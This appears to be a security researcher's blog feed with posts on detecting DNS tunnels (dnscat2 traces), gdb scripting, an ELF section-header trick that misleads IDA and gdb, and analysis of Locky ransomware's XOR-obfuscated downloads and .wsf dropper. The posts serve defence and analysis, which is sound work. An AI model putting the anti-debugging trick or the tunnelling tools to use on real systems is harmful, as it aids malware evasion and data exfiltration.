exchanged. The client just have to pay attention to make unique DNS requests, in order to avoid caching of an intermediary DNS server. Thanks to the multiple type of DNS requests, and to the size of requests, you can get some enough decent bandwidth to do an ssh session.<br />
<br />
You can find a lot of resources for building DNS tunnels with a lot of tools: <a href="http://dev.kryo.se/iodine/" target="_blank">iodine</a>, <a href="https://code.google.com/archive/p/dnscapy/" target="_blank">dnscapy</a>, <a href="https://github.com/iagox86/dnscat2" target="_blank">dnscat2</a>, etc etc.. Those tools provide usually some encryption and helpers to exchange data.<br />
<br />
<h2>
2/ Finding should be super easy by counting requests</h2>
The most obvious way to spot a DNS tunnel should be counting the number of subdomain for a specific domain. For each chunk of data, client have to build a new DNS name for the domain owned by attacker.<br />
<br />
I captured some DNS traffic while using a DNS tunnel (dnscat2 in that case). I estimate that we can type a lot of harmfull bash commands in dnscat2 in less than 50 DNS requests. Let's use 50 as a threshold: if a domain has more than 50 subdomain, then you can flag it as a DNS tunnel<br />
<br />
<h2>
3/ Ok, let's do it the dirty way: bash+python</h2>
There are a lot of way to analyze data, I choose a splitted approach:<br />
<ul>
<li>at first, extract interesting data with tshark and bash to a flat file</li>
<span style="font-family: "courier new" , "courier" , monospace;">tshark -2 -r "$1" -R "dns.flags.response == 1" -T fields -e dns.qry.name > doms_qry</span><br />
<li>then analyze data with python</li>
</ul>
This way is convenient for me because I have easy access to the flat file after extraction and before analysis.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./do_flat.sh ../dnscat2.pcap
Copied unique domains in doms_qry
Number of domains copied: 244 doms_qry
mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./analyze.py
###################results#####################
Longest domains is constitued of 6 labels
210a01a0afcdbdc7ba0c620018e34268b55725c38e3452f6fb89aaddc8dd.7d5f153eaafe56a1e7d7e3599d60b753f400516596638349fd29a0d3468b.0edcc3ced25269ca7e8e75121f858c2f5d5c142f14c21d964051c8a15c0b.97601ee531b3fb8e7c321622c48abf5acc99c629.dnscat2.tux
91db01a0afeebc809c889b001975661a47a87c35a271ab34972c8d321c8c.ae573af81e94756d71c633d32188bb0554f1ade983d00e23f206d5cf20c4.a4b41c7b5960c85fb5b7283286c76ac27a37b49b1a6075a9e5727878430d.bd0a421c95229477fd7bbee07c5768ee411e5d7b.dnscat2.tux
15b601e0afcc2d43946b4a001aa7894e4255e74d2d1a481cd8dc578e7c45.82768a7af119a392e3284104fc821624a12d3deaafd91bf138b99f13e6a2.487a65e38f2e594e6d3728a7660b2d5a62595460b7a133670dbfc308dc4b.6447719f4f6e.dnscat2.tux
a9670169561ddb4bb9e05b0013eed9143bb125481944c4c3d12b21664f9f.0bab3f63a255e1f239b71ba4f3db28d5c3f8415346af21e80ed504912211.e9ea5b237042d1f0ee9fb5351ff93b6faf1c5d1ad26120a4a066973ca5ee.e9962c0ca2ee14724031a6269e54e7c31a1d75dc.dnscat2.tux
acd901695e08afb6284a450014bf31ca85d18fb7f6bc023bb69ddbeb4194.91e90cb2788515712616907396bfa530fe785512ba5846280ee953c79f6a.e469e9dcb61508a2b532dbafc82eebb336f0812678cdbc81f58efd73eac6.7ba69eeac8388fa1deb5267771a1d8c866572cfd.dnscat2.tux
Longest domain name is 235 char long:
210a01a0afbdadc7ba0c620018e34268b55725c38e3452f6fb89aaddc8dd.7d5f153eaafe56a157d7e3599d60b753f40051659663a349fd29a0d3468b.0edcc3ccd25269ca7e8e75121f858c2f5d5c142f14c21d964051c8a15c0b.97601ee531b3fb8e7c321622c48abf5acc99c629.dnscat2.tux
91db01a0afdeba809c889b001975661a47a87d35a271ab34972c8d321c8c.ae573af81e94756d31c633d32188bb0554f1ade982d01e23f206d5cf20c4.a4b41c7b5950c85fb5b7283286c76ac27a37b49b1a6075a9e5727878430d.bd0a421c95229477fd7bbee07c5768ee411e5d7b.dnscat2.tux
a96701695e1dda4bb9e05b0013eed9143bb12f481944c4c3d12b21664f9f.0bab3f63a255e1f2f9b71ba4f3db28d5c3f8415346afb1e80ed504912211.e9ea5b237062d1f0ee9fb5351ff93b6faf1c5d1ad26120a4a066973ca5ee.e9962c0ca2ee14724031a6269e54e7c31a1d75dc.dnscat2.tux
acd901695e08afa1284a450014bf31ca85d18ab7f6bc023bb69ddbeb4194.91e90cb278851571b616907396bfa530fe785512ba6856280ee953c79f6a.e469e9dbb6d508a2b532dbafc82eebb336f0812678cdbc81f58efd73eac6.7ba69eeac8388fa1deb5267771a1d8c866572cfd.dnscat2.tux
######### Following domains ###########
Interesting tld for rank 0
tux(243 subdomains)
######### Following domains ###########
Interesting tld for rank 1
dnscat2.tux(243 subdomains)
You should investigate on domains
dnscat2.tux (243 subdomains)
mitsurugi@dojo:~/DNS_analyzer/analyze_doms$
</code></pre>
That works remarkably well. If you find this kind of data in your DNS logs, you should investigate quickly.<br />
<br />
<h2>
4/ But, does this work in real life? (spoiler: no)</h2>
Well, this work in a test lab. Now, how does this work in real?<br />
I have to say that it's incredibly hard to find real DNS data. See end of blog for details, but I had the chance to put hands on two full pcap capture from an university. I have to name and thanks ISCX <a href="http://www.unb.ca/research/iscx/dataset/iscx-dataset.html">http://www.unb.ca/research/iscx/dataset/iscx-dataset.html</a> : data is legit for research and analysis. Really a big thanks.<br />
<br />
Now, I use the exact same programs and let's try if we can find DNS tunnels in those captures:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./analyze.py
###################results#####################
Longest domains is constitued of 8 labels
www.deloitte.com.edgekey.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
www.intel-sino.com.edgesuite.net.chinaredirector.akadns.net</code><code style="color: black; word-wrap: normal;">You fool! Don't make me laugh!
~Soulcalibur - Mitsurugi
s3.getmiro.3.0.com.s3.amazonaws.com
s3.getmiro.3.0.com.s3.amazonaws.com
s3.getmiro.3.0.com.s3.amazonaws.com
Longest domain name is 59 char long:
community-powered-web-search-swicki-swicki.socialsearch.com
community-powered-web-search-swicki-swicki.socialsearch.com
community-powered-web-search-swicki-swicki.socialsearch.com
www.intel-sino.com.edgesuite.net.chinaredirector.akadns.net
######### Following domains ###########
Interesting tld for rank 0
au(54 subdomains); net(1502 subdomains); gov(53 subdomains); jp(96 subdomains); org(195 subdomains); com(3181 subdomains); uk(91 subdomains)
######### Following domains ###########
Interesting tld for rank 1
wordpress.com(52 subdomains); akamaiedge.net(105 subdomains); msn.com(54 subdomains); akamai.net(324 subdomains); edgesuite.net(172 subdomains); akadns.net(98 subdomains); co.uk(73 subdomains); akam.net(51 subdomains); google.com(68 subdomains); yahoo.com(87 subdomains)
######### Following domains ###########
Interesting tld for rank 2
com.edgesuite.net(146 subdomains); g.akamai.net(121 subdomains)
You should investigate on domains
com.edgesuite.net (146 subdomains)
g.akamai.net (121 subdomains)
akamaiedge.net (105 subdomains)
akadns.net (98 subdomains)
yahoo.com (87 subdomains)
co.uk (73 subdomains)
google.com (68 subdomains)
msn.com (54 subdomains)
wordpress.com (52 subdomains)
akam.net (51 subdomains)
mitsurugi@dojo:~/DNS_analyzer/analyze_doms$
</code></pre>
OK, so that's a full list of false positive. If I raise the threshold higher, then I can miss some short living DNS tunnel.<br />
<br />
<b>I think that we can clearly say that counting the number of subdomain doesn't work in practice.</b><br />
<br />
<h2>
5/ Can we do better? (spoiler: yes, sort of)</h2>
We have some options here:<br />
<h3>
5/1/ whitelisting domains</h3>
I don't like the idea of whitelisting. Usually, maintaining such lists are pita, but it can help you.<br />
<br />
<h3>
5/2/ analyzing only requests of type other than 'A' (and 'AAAA').</h3>
Well, you'll end up with a lot of MX and/or SPF records, that's still a good way to lower the noise, but it should help. I didn't see any DNS tunnels relying on A or AAAA type, but hackers have a lot of imagination.<br />
<br />
<h3>
5/3/ calculating entropy of domain. </h3>
Yeah, it should works. But you will face other problems: cdn names can look like random, MX name can look totally legit while being DNS data tunnels. More and more file reputations and cloud antivirus relies on TXT DNS requests... and they look totally likes DNS tunnels (a lot of different TXT requests going to the same domain). So, try at your own risks.<br />
<br />
<h3>
5/4/ Analyzing DNS response instead of requests.</h3>
It would be a lot better, combined with the previous one. Still, an hacker would be able to use AAAA or A records to exchange data (throughput of tunnel would be lowered by an order of magnitude, but hackers have a lot of time...)<br />
<br />
<h3>
5/5/ Raising threshold</h3>
It could work, but we have to agree on a number not to high, not to low. In the end, we must rely to human analysis, and it can't work that way.<br />
<h2>
6/ Lessons learned</h2>
They are some lessons here:<br />
<br />
<h3>
Counting subdomains doesn't work</h3>
No, counting subdomains doesn't work at all. It can helps do lower the size of data to analyze, but you can't trust it for sure.<br />
<h3>
It's hard to grab DNS data (really.) </h3>
Sad but true. If you want to share DNS data with me (or know place where you can have some), I would be grateful. Beware, DNS data is an impressive way to gather metadata and has a lot of privacy concerns.<br />
<br />
<h3>
Parsing DNS data is not that easy. </h3>
Everybody think they know DNS: "<i>you ask a fqdn, you get an IP</i>" and it's WRONG! You can end up with a lot of RR, multiple queries, UDP and TCP, endless CNAME requests, and so on. For this kind of research a flat file is enough, but I have to find better way to parse and analyze this kind of structured data.<br />
<br />
<h3>
...and beyond </h3>
You can find a LOT of things inside DNS data (more blog posts to come)<br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<span style="font-size: x-small;"><i>You fool! Don't make me laugh!<br />~Soulcalibur - Mitsurugi</i></span><br /> </div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-49202759001199491352016-09-20T15:29:00.000+02:002016-09-20T15:29:30.869+02:00Break On Call and Break On Ret under gdb<h3>
1/ Adding BOC and BOR for gdb</h3>
As a reverse engineer, I like really gdb. It has a lot of cool features and is scriptable through python.<br />
<br />
While I was solving a crackme challenge I needed a break on call and a break on ret instructions. I search the web and did not find what I wanted.<br />
<br />
So, I developped a boc (break on call) and a bor (break on ret) function and sharing it today.<br />
<br />
<h3>
2/ How it works?</h3>
You just have to source a python file and you end up with three commands:<br />
<ul>
<li>boc : activate break on call with boc on or boc off. You can choose by breaking or printing on call by boc break or boc print</li>
<li>bor : same commands for break on ret</li>
<li>go : if you have selected boc on and/or bor on, typing go will executing the binary until next call or next ret</li>
</ul>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> $ gdb -nx -q
(gdb) source bocbor.py
(gdb) boc
Status of Break on Call is off/break
Change with boc on/off and boc break/print
(gdb) bor
Status of Break on Ret is off/break
Change with bor on/off and bor break/print
(gdb) boc on
(gdb) boc
Status of Break on Call is on/break
Change with boc on/off and boc break/print
(gdb)
</code></pre>
<br />
<h3>
3/ Please, just show me the code! </h3>
It's on github<br />
<a href="https://github.com/0xmitsurugi/gdbscripts">https://github.com/0xmitsurugi/gdbscripts</a><br />
The Readme shows a typical bocbor session.<br />
<br />
<h3>
4/ Enjoy</h3>
Feedback, bugs: mail or twitterMitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-29535148167414417472016-08-30T15:21:00.000+02:002016-08-30T16:10:09.535+02:00Don't always trust your debugger blindly : What You See Is not What You Get!<h3>
0/ Intro</h3>
<br />
A debugger or debugging tool is a computer program that is used to test and debug other programs (the "target" program) (source wikipedia). We can cite IDA or gdb as well known debuggers used in security community.<br />
<br />
A debugger is also the security analyst best friend :-) it will help him (or her) to understand what the program is doing. But what if somebody craft an executable file which will show different behaviors between the debugger and the real life? <br />
<br />
<br />
Let's do that under linux with an ELF binary. ELF is an executable format, supported by IDA and gdb. The format of ELF files is well-known. ELF contains headers, Program Headers and Section Headers.<br />
<br />
Program headers are read by kernel when the ELF binary is
launched, Section headers are read by debuggers. Theorically, they are
the same. <i><b>Theorically</b></i>, they said. <br />
<br />
Let's start with a very simple Hello World program:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #include <stdlib.h>
const char hello[]="Hello World\n\x00\x03\x00\x00\x00\x01\x00\x02";
const char hell[]="Bad, bad World\n";
int main(void) {
puts(hello);
exit(0);
}
</code></pre>
<br />
Don't pay attention for the garbage at the end of hello[] and the presence of hell[] for now. No need to be an expert to understand what will be printed.<br />
<br />
<h3>
1/ Taking a look Section headers</h3>
<br />
Let's look at .rodata section, containing the strings, and the relevant asm part in .text:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/magick$ readelf -x .rodata hello
Hex dump of section '.rodata':
0x080484e8 03000000 01000200 48656c6c 6f20576f ........Hello Wo
0x080484f8 726c640a 00030000 00010002 00426164 rld..........Bad
0x08048508 2c206261 6420576f 726c640a 00 , bad World..
mitsurugi@dojo:~/chall/magick$ readelf -S hello
There are 30 section headers, starting at offset 0xf20:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0 0 4
(...)
[15] .rodata PROGBITS 080484e8 0004e8 00002e 00 A 0 0 4
(...)
mitsurugi@dojo:~/chall/magick$
</code></pre>
<br />
And the asm:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0804842b <main>:
804842b: 8d 4c 24 04 lea 0x4(%esp),%ecx
804842f: 83 e4 f0 and $0xfffffff0,%esp
8048432: ff 71 fc pushl -0x4(%ecx)
8048435: 55 push %ebp
8048436: 89 e5 mov %esp,%ebp
8048438: 51 push %ecx
8048439: 83 ec 04 sub $0x4,%esp
804843c: 83 ec 0c sub $0xc,%esp
804843f: 68 f0 84 04 08 push $0x80484f0
8048444: e8 a7 fe ff ff call 80482f0 <puts@plt>
8048449: 83 c4 10 add $0x10,%esp
804844c: 83 ec 0c sub $0xc,%esp
804844f: 6a 00 push $0x0
8048451: e8 ba fe ff ff call 8048310 <exit@plt>
</code></pre>
<br />
puts will print the string located in 0x080484f0, located in .rodata section, which is "Hello World\n\x00<unprinted garbage>"<br />
<br />
The Section headers says that you put 0x2e bytes from the offset 0x4e8 at the adress 0x080484e8<br />
<br />
Let's change this slightly. Only in section headers, let says that the .rodata sections copy 0x18 bytes from the offset 0x4fd at 0x080484e8. <br />
<br />
<br />
<h3>
2/ Who are you, and what are you doing to my Section headers?</h3>
<br />
We now have a second file, called hello-patched. This file still runs good:
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/magick$ ./hello-patched
Hello World
mitsurugi@dojo:~/chall/magick$
</code></pre>
<br />
The relevant part of Section headers are now:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/magick$ readelf -S hello-patched
There are 30 section headers, starting at offset 0xf20:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
(...)
[15] .rodata PROGBITS 080484e8 0004fd 000018 00 A 0 0 4
</code></pre>
<br />
<h4>
2/1/ IDA gets tricked</h4>
<br />
Here is the printscreen of IDA disassembling this file:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWH2SJGaKh056ypZpxUkJOGRcuvo1FbcUfbSkVl5i1M8-JrHUaSN46Iq4AULZ7kU-_0sVfSpVAoYabGgDZVnb2VZZj85kmPDgk1bsN8-CnpyJ3Kzu9mN3WXGXQWxnfpxlUALtD5Mto7Ak/s1600/IDA_haha.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWH2SJGaKh056ypZpxUkJOGRcuvo1FbcUfbSkVl5i1M8-JrHUaSN46Iq4AULZ7kU-_0sVfSpVAoYabGgDZVnb2VZZj85kmPDgk1bsN8-CnpyJ3Kzu9mN3WXGXQWxnfpxlUALtD5Mto7Ak/s1600/IDA_haha.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
Well, this can be confusing when you know that ./hello writes "Hello World" <br />
<br />
So, what you see with IDA is not what you get (I've tested the Free edition of IDA v5.0 and IDA Pro 6.7)<br />
<br />
<h4>
2/2/ gdb is even more confusing</h4>
Ths string is not the same between x/s and puts call :)<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/magick$ gdb -nx -q hello-patched
Reading symbols from hello...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x4,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: push $0x80484f0
0x08048444 <+25>: call 0x80482f0 <puts@plt>
0x08048449 <+30>: add $0x10,%esp
0x0804844c <+33>: sub $0xc,%esp
0x0804844f <+36>: push $0x0
0x08048451 <+38>: call 0x8048310 <exit@plt>
End of assembler dump.
(gdb) x/s 0x80484f0
0x80484f0 <hello>: "Bad, bad World\n"
(gdb) run
Starting program: /home/mitsurugi/chall/magick/hello-patched
Hello World
[Inferior 1 (process 5382) exited normally]
(gdb)
</code></pre>
<br />
Ok, that's not really really true: As soon as you run the program, the Section is corrected, and x/s works as expected, but the demo is worth it. Said differently: if you don't run the binary under gdb, you'll get all wrong.<br />
<br />
<br />
<br />
<h3>
3/ Conclusion</h3>
<br />
Now think at a crackme, or malware using this technique. Static Analysts will get lost, without even noticing it :-)<br />
<br />
Well, nothing new here: if the same information can be picked from two different places, you can be sure there will be problems.<br />
The fact that Section headers can be changed is known since a very long time, I've just wanted to play a bit with it and manipulate ELF format. The idea of this blogpost has born in my mind after filling a <a href="https://github.com/radare/radare2/issues/396" target="_blank">bug I've had with radare2</a>.<br />
You can read another <a href="http://aassfxxx.infos.st/article25/hiding-code-in-elf-binary" target="_blank">blogpost here with some mitigations in bonus</a>.<br />
<br />
If you want to try it with your debugger, you can download a copy of the patched hello file here:<br />
<a href="http://42.meup.org/e8AyyDp6/hello">http://42.meup.org/e8AyyDp6/hello</a> (sha256 = f63edf2de7d4edeb02650e3821921ddf3831ee33226cece8f81f31b912e464a5 ) and if it works/fail send me the info, I could compile some results :-)<br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<span style="font-size: x-small;">There are few people who will make mistakes with fire after having once been burned. <br />~Yamamoto Tsunetomo</span></div>
<style type="text/css">
.tftable {font-size:12px;color:#333333;width:100%;border-width: 1px;border-color: #729ea5;border-collapse: collapse;}
.tftable th {font-size:12px;background-color:#acc8cc;border-width: 1px;padding: 8px;border-style: solid;border-color: #729ea5;text-align:left;}
.tftable tr {background-color:#d4e3e5;}
.tftable td {font-size:12px;border-width: 1px;padding: 8px;border-style: solid;border-color: #729ea5;}
.tftable tr:hover {background-color:#ffffff;}
</style>
<br />
<!--
<table border="0" class="tftable">
<tbody>
<tr><th>Debugger</th><th>Result</th><th>Thanks to</th></tr>
<tr><td>gdb</td><td>Confusing :)</td><td></td></tr>
<tr><td>IDA Free</td><td>Tricked</td><td></td></tr>
<tr><td>IDA Pro</td><td>Tricked</td><td><br /></td></tr>
</tbody></table>
-->
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-17784211402249457542016-07-29T11:27:00.000+02:002016-07-29T11:27:39.511+02:00Update about #Locky xoring data scheme<h2>
1/ Intro</h2>
This post is a follow-up of this one: <a href="http://0x90909090.blogspot.com/2016/07/analyzing-zip-with-wsf-file-inside.html">http://0x90909090.blogspot.com/2016/07/analyzing-zip-with-wsf-file-inside.html</a><br />
<br />
The malware in question is Locky.<br />
<br />
<h2>
2/ Another Locky</h2>
Somebody sends me other Locky's zip files and I quickly figured that the core functionalities are the same<br />
<ul>
<li>a .wsf in a zip file (wsf format slightly changed, so my <a href="https://github.com/0xmitsurugi/Analyzing-zip-file-with-.wsf-file-inside">analyze.py prog in github</a> does not work anymore)</li>
<li>some layer of obfuscation</li>
<li>all variables are named different, but the structure and functions are the same</li>
<li>The downloaded file is XOR-ed with values coming from a PRNG function</li>
<li>the PRNG seed has changed</li>
</ul>
<br />
This blogpost will talk about the PRNG.<br />
<br />
<br />
<h2>
3/ PRNG</h2>
<a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">Wikipedia to the rescue</a>:<br />
<i>A pseudorandom number generator (PRNG) is an algorithm for generating a sequence of numbers whose properties approximate the properties of sequences of random numbers. The PRNG-generated sequence is not truly random, because it is completely determined by a relatively small set of initial values, called the PRNG's seed. (...) pseudorandom number generators are important in practice for their speed in number generation and their reproducibility.</i><br />
<br />
And that's it. I think this is a really interesting move because the file downloaded over HTTP looks like random data. Here is the entropy for the file (made with <a href="http://binwalk.org/">binwalk</a>):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHhiJ1n40McvkyH4MJQW_f-cERYOMaA4z5jih-Klbix0hQGVuLpR0LpRuxJljrAPMvDWwZiu0pHfqadC3RcRHXU_tjbgeHKSvADVJ9ZUTeL65OeVt9vIy9UOw3xmNGhYibG8lVuX532o/s1600/o54b6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHhiJ1n40McvkyH4MJQW_f-cERYOMaA4z5jih-Klbix0hQGVuLpR0LpRuxJljrAPMvDWwZiu0pHfqadC3RcRHXU_tjbgeHKSvADVJ9ZUTeL65OeVt9vIy9UOw3xmNGhYibG8lVuX532o/s1600/o54b6.png" /></a></div>
<br />
You can compare with the file, once XOR-ed :<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYlyJUncBv45yni21cyKYNaqBx-1-QTP798JfpxB4_rpuAFK3CLz8ix9hqRqTHlXDse-e54yDtXOHWKvHb-20XubYkDb6cpTv_KgQaT4_kQvdQcKO5IcYnk8oh4HzkL6jGYJWqb8US2tc/s1600/o54b6-xored.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYlyJUncBv45yni21cyKYNaqBx-1-QTP798JfpxB4_rpuAFK3CLz8ix9hqRqTHlXDse-e54yDtXOHWKvHb-20XubYkDb6cpTv_KgQaT4_kQvdQcKO5IcYnk8oh4HzkL6jGYJWqb8US2tc/s1600/o54b6-xored.png" /></a></div>
<br />
This is an interesting way to avoid analysis.<br />
All the network probes only see random data. No particuliar header, no pattern to match. <br />
No static key either (XORed file with static key doesn't see their entropy changing a lot and key can be retrieved). <br />
You can eventually block file downloaded over HTTP when they have no
known header and are around 200kB but it's not really precise.<br />
<br />
<h2>
4/ Get the seed</h2>
<br />
In my previous blogspot, I just copy paste the prng function, with the
seed. <br />
If you want to quickly get the seed, you can grep for <i><b>mash(<data>)</b></i> in the .wsf file, once extracted from the zip and unobfuscate.<br />
<br />
<br />
Everything then is the same: generates more than 200k of pseudo random numbers, then XOR the file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/infected$ js24 uhe_prng.js > prng_js
mitsurugi@dojo:~/chall/infected$ ./unxor.py cj937f7l
mitsurugi@dojo:~/chall/infected$ file cj937f7l cj937f7l-xored
cj937f7l: data
cj937f7l-xored: PE32 executable (GUI) Intel 80386, for MS Windows
mitsurugi@dojo:~/chall/infected$
</code></pre>
<br />
<h2>
5/ Conclusions and questions</h2>
I think that everything is not said in the case of Locky. When I read interesting analysis like the one in <a href="https://blog.malwarebytes.com/threat-analysis/2016/07/from-locky-with-love-reading-malicious-attachments/">malwarelabs</a>, I don't understand why they don't ran into the XOR part. No mention about the XOR: they found URL in the wsf file, then they got an .exe file (wut?).<br />
Is there many campaigns, some with exe file other with XOR-ed one? As the URLs mentioned in malwarelabs post are not available anymore, I can't tell :-/<br />
<br />
And if you got another samples to share, I'm still willing to take a look :-)<br />
<br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<span style="font-size: x-small;"><i>Courage first; power second; technique third.</i></span><br /></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-55949264483081986372016-07-18T12:11:00.001+02:002016-07-18T14:11:46.773+02:00Analyzing zip with .wsf file inside<h2>
0/ Intro </h2>
Between the 13 and 16 of july, I've received of lot of spams, all based<br />
on the same, now classical, pattern. A mail body with wording like:<br />
"<i>How is it going?</i><br />
<i>Please find attached document you asked for and the latest payments report</i><br />
<i></i>
<i>Hope that helps. Drop me a line if there is anything else you want to know</i>"<br />
<br />
or<br />
<br />
"<i>Please find the reference letter I attached.</i>"<br />
<br />
and a zip file attached containing one file ending in .wsf<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l 4F6B513_mitsu.zip
Archive: 4F6B513_mitsu.zip
Length Date Time Name
--------- ---------- ----- ----
29295 2016-07-15 11:09 spreadsheet_87a4..wsf
--------- -------
29295 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_97027.zip
Archive: mitsu_97027.zip
Length Date Time Name
--------- ---------- ----- ----
28380 2016-07-15 11:17 spreadsheet_7ff..wsf
--------- -------
28380 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_forward_758093.zip
Archive: mitsu_forward_758093.zip
Length Date Time Name
--------- ---------- ----- ----
71060 2016-07-14 11:19 spreadsheet_17f5..wsf
--------- -------
71060 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$
</code></pre>
<br />
<h2>
1/ stage 1 - unzip and get the script</h2>
All of the .wsf I saw looks more or less the same:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-LP1LIAvZzXJARPbb-60AfVzRQDgwogODgXu7fA06sAv_-lrl2ID2tvqHEXCP5G1vxsCKKkcUSb5b2iQlJ6d-qjPC-127kQqKvcUo3_zJqBtjFUDnU7ZNv5_qovImFXO7ruy-fApQIo/s1600/wsf_file.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-LP1LIAvZzXJARPbb-60AfVzRQDgwogODgXu7fA06sAv_-lrl2ID2tvqHEXCP5G1vxsCKKkcUSb5b2iQlJ6d-qjPC-127kQqKvcUo3_zJqBtjFUDnU7ZNv5_qovImFXO7ruy-fApQIo/s1600/wsf_file.png" /></a></div>
<br />
We have a job declaration, then a very long var (I snipped it for brievety, the line is more than 28000 chars long). This var is just a concatenation of all strings, and in the end, it's reversed.<br />
<br />
In order to analyze it, you can copy/paste this var in a python file, and just reverse it:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #! /usr/bin/python
aFusa0arM = ';}\n\r;)('+']fJU (... snipped +28000 chars for brievety ...)
Fo'+'Tev" = '+'jXO rav'+'\n\r;"" +'+' "eli" '+'= tI ra'+'v\n\r;"" '+'+ "esol'+'c" = 0q'+'O rav';
print aFusa0arM[::-1]
</code></pre>
<br />
<h2>
2/ stage 2 - unobfuscate the javascript</h2>
The javascript file is 700 lines long. A quick glance at it reveals the obfuscation.<br />
<br />
<h3>
2/1/ Obfuscation : use of variables</h3>
